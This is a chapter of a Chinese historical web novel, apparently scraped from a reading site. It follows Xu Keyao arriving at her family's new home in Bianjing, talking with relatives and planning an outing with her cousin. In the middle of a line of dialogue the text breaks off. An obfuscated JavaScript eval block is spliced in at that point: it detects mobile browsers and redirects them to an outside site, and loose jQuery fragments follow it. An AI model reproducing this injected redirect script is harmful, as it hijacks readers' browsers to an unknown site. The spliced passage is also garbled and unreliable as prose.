28. 新地图

作品:《汴京钓鳌客

    程嬷嬷没有立刻回答,过了东跨院的小花园,才指着面前的望楼:“小娘子暂居此处,我去叫画屏绣扇那两个丫头来伺候梳洗。”


    徐客遥没急着走进去,绕着小楼走了一圈,一楼是封闭起来供她起居的卧室,由六根彩绘台柱支撑。


    稍稍往后退,能看到二楼只围了槛栏,外面置有一个竹编梯子。


    她拎起裙子,把宽大的袖口和裙摆扎起来,扶着梯子两边,手脚并用地爬上了小楼。


    望楼原本用来看城内火情,比周围屋舍高出一大截,附近街坊一览无余,徐客遥还能看到自己外墙边上的身着布衣挑着担子的货郎。


    满城红墙绿瓦映着夕阳西下,家中炊烟袅袅,街上熙熙攘攘。她心中的郁气渐渐被眼前繁华景象驱散,这就是汴京啊。


    “曹大哥!”


    “曹炜!”


    徐客遥大声喊曹炜,那人正站在月洞门外跟护院聊天。


    曹炜抬头向这边看,被徐客遥的动作吓了一跳。


    “往里站站!不能这么下梯子!”


    徐客遥于是又爬回二楼的地板。


    “你快点来接我,我下不去了!”


    曹炜三下两下攀上了二楼,也有些发愁。


    “我扶着梯子,你慢慢下?”


    徐客遥头摇得像拨浪鼓:“不行啊,我不敢,我刚刚试过了,腿肚子都发软。”


    曹炜忍不住轻笑:“并不是很高。”


    她嘟囔两句:“上来的时候我也不觉得高呢,谁知道低头一看这么吓人。”


    “来吧,我带你下去。”


    徐客遥乖乖站过去。


    曹炜捻着她的披帛,将布料隔在自己掌下,揽着徐客遥的腰,一跃而下。


    “曹!炜!”徐客遥气得不行,谁知道要这么下来,跟跳楼有什么区别?


    攥紧拳头用力锤曹炜:“你想吓晕我?”


    曹炜拦住她的手:“我又不能抱你或者背你爬梯子,传出去也太失礼了,这样下来又快又好。”


    “把盒子搬过来,等我梳洗,见过主母你再走。”


    徐客遥恶狠狠地瞪他,但一点杀伤力也没有,对方只会木木地应着。


    绣扇边给徐客遥洗头发,边讲讲最近家里的事。


    “汴京晚上比彭城凉快些,白天一样热。画屏姐姐拣了几件单衫出来洗净熨平了,先凑合穿着。”


    画屏给她敷面,补充道:“程嬷嬷已经去主母那里领了提花绫、绉纱之类夏衣料子,过几日就能上身。”


    程嬷嬷提了食盒进小楼:“先前那位拥翠空庭寄居的小官人倒是有运道,正好提拔到京里。”


    绣扇拿吸水的棉布帮她包好头发,徐客遥才坐正:“可给他送了晚饭?”


    “小官人刚站没多久就被拉去琦哥儿住处了,估计要陪他喝几杯。”


    “三哥还跟个孩子似的。”


    离开彭城,徐正琦心里不痛快。从前的日子对他来说足够舒坦,呼朋唤友,饮酒作乐,众星捧月。哪怕去军营吃苦头做陪练,没几日也就跟小兵小将们混熟了。


    “父亲得了什么授官?”徐客遥看嬷嬷一直避而不谈,猜测可能徐父的官阶并不理想。


    “眼下还没个结果。”程嬷嬷取出一碗米粉,又把各色浇头摆上。


    见徐客遥垂着眼,宽慰她:“主君日日都到大内去陪侍,前程不会差的。”


    “本家伯父那怎么样?我听说武将的官制定得更早?”


    “都督似乎要去荆楚之地平乱,封了大军统领,本家太太要跟去。”


    “太太也是有魄力的女子。”徐客遥从不敢小瞧自己的女性长辈,她们要么出身高门,要么本身才学出众。


    画屏常常要跟着萧氏处理家务,打听得更细致些:“军衔有几十个级别,军官又有八等,统领应该算高的。家里买了小报,但听说瑾哥儿也看了半天,分不清这些官阶。”


    “本家珑哥儿殿试后也封了官,在宫里做事。”


    “嫣儿妹妹可是住在西跨院?”


    “正是呢。”


    “那我明日去找她出门玩。”徐客遥开心,两人还能住在一个府里。


    梳洗好吃完饭,又换了衣裳。


    徐客遥让画屏带路,先去喊曹炜,再一起去给主母请安。


    徐家三哥徐正琦跟她一样,没有独门独户的小院,只分了几间屋子和廊亭,住着他和随侍的小厮。


    曹炜身量高,从廊亭出来还要微微偏着身子。


    “晚上吃了什么?可喝酒了?”


    “没喝。”曹炜老老实实地答。


    徐客遥惦记着璋哥儿,想早些回来,再去趟弟弟那看看,步履就有些快。


    她几乎在小跑,曹炜却三两步就阔步跟了上来。


    “腿长了不起吗?”徐客遥一甩披帛,傲娇地慢下来。


    “母亲!我回来啦!”徐客遥环视一周,萧氏、何姨娘、大哥徐正瑾、大嫂吕冰蝉都在。


    乖乖地行了个礼,跟家里人问好。


    “我在金陵玩了几日,给你们都带了礼物哦。”


    “小妹真懂事,金陵都有什么好玩的呀?”吕冰蝉第一个接她的话。


    “可多了,我们在镇江爬了古城墙,到金陵还去了秦淮河夜游呢。”


    徐客遥抱住萧氏的胳膊:“母亲,你不知道施家有多大,我可是第一次去能自己造山的宅子。”


    “老太君身子可好?可交代你二哥的事?”徐正瑾也一肚子话要问。


    “小官人坐,琦哥儿可给你灌酒了?”萧氏注意到跟着徐客遥进来的曹炜。


    “一路上辛苦你照顾我家这个小泼猴。明日可要去城外报道?我安排马车送你可好?”


    “多谢夫人,神卫军任状上定的六月初二,还不急着报道。我明日先去买匹马,来往京郊也方便些。”


    “住处可看过?我先前找的那家牙行,中人们倒实诚,可要推荐给你?”


    “夫人关怀,某感激不尽。只是我尚未娶亲,住在城郊营地就行。”


    萧氏不再劝他,转头问徐客遥:“钱家小娘子到他家适应得怎么样?”


    “挺好,府里一应事务都有老太君顶着,比她在闺阁时还要舒坦些。”


    钱文妤如今带着自小陪她的丫鬟嬷嬷们独住一个大院,每日不用理事,上午读书绣花,下午陪金丝玩。确实不像闺阁时,总被书香门第的规矩约束着。


    一个府里,真亲戚没有几位,早晚陪施老夫人说几句话,夫君也不在家,钱文妤自在多了。


    “羡慕了?那你也去相看个如意郎君,父亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588954|143194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    母亲也能少操心些。”徐正瑾说话真讨厌。


    萧氏瞪他:“自己新婚燕尔幸福着,还来逗你妹妹。”


    在主母院子里喝茶吃水果是其次,聊天也只是几个来回,徐客遥的主要功夫还是放在徐家大姐寄回家里的信上。


    她从徐舟远刚到晋阳时的回信开始读,一直读到姐夫王坦之买宅子,在武宁军下辖的镇上定居。徐舟远的文字精简而隽永,记述了她在顶级世家内部的见闻,还抄录了几个养生食方送给徐客遥和徐父。


    徐客遥踏着月色出了萧氏的小院,吩咐护院送曹炜出门,突然觉得两个人像回娘家归宁的夫妻。


    “曹大哥慢走,我去璋哥儿那看看他。”还好天黑,看不清她脸上的羞窘。


    “夏至三庚便数伏”,到了六月,汴京的太阳也晒得人不得安生。


    东跨院跟山中别业比起来,差远了。庭院里稀稀落落几棵新栽的树,午后蝉鸣不止,太阳烤在园圃里,花草全都蔫巴着,土地都干得翘着边。


    程嬷嬷去外面街上买了几张竹簟,支在小楼窗户上,当作遮阴的晒棚。屋里少了直射的日头,算是凉快了一些。


    徐父还没得封正经官职,每日只是陪皇帝处理些杂务。他因行商走南闯北又见多识广,更像个参考顾问。


    徐客遥隐约觉得父亲是因为身上没有功名,才被绊住,不能寸进。


    新君这里,仅仅是真才实学似乎不够。现在她认识的人中,得了授官的,要么有平定一方的军功,要么金榜题名。


    父亲才四十五岁,考学还来得及。


    傍晚被小女儿堵在跨院月洞门的徐长恭:......


    徐客遥迫不及待地想出门赴宴、结交新朋友,但是家里还没收到帖子。


    她先去西跨院找徐嫣,约好第二日去尝尝汴京的饭店。


    “我明日也没什么事,刚好咱们好久没一起出去玩了。”徐嫣瞧见她很惊喜,一把抱住她,贴得紧紧的。


    “尝尝这个,我在返程的船上琢磨的新玩意儿。”


    徐客遥从食盒里取出白瓷盖碗,里头的果饮已经提前晾凉了。


    徐嫣拿勺子舀起一片桃子果肉,酸甜爽脆,忍不住问:“下面的甜水我能尝尝吗?瑶瑶姐,这桃子是用什么腌制过吗?跟平时吃的太不一样了。”


    “当然,这水比平时买的紫苏香饮子还好喝,可能有些微辣。”


    正动手要喝的徐嫣有些迷惑:“啊?甜水里有辣味吗?”


    “放了仔姜,尝尝,解表化湿驱寒热。”


    徐嫣先是抿了一小口,发现没有怪味,咕嘟咕嘟喝完了。


    “瑶瑶姐吓唬我,哪有什么辣味,好喝着呢。”


    她念叨着,好像还真有些作用。午后裹在身上闷热确实散了,化成汗珠沁出皮肤。


    “出完汗拿帕子擦干,就凉快多了。”


    徐嫣在花窗前的美人榻上斜靠着:“没事儿,刚刚胸口闷,现在已经好多了。瑶瑶姐,你可听说了?下个月京里才热闹呢。公主出嫁,这场面我们彭城可没见过。”


    徐客遥还真知道这事,曹炜跟施老太君提过,她对能娶个金凤凰的男方也很好奇:“驸马如今几岁?年轻英俊?”


    徐嫣掩起嘴角:“你提起这个我想起个人物,你可还记得张延?”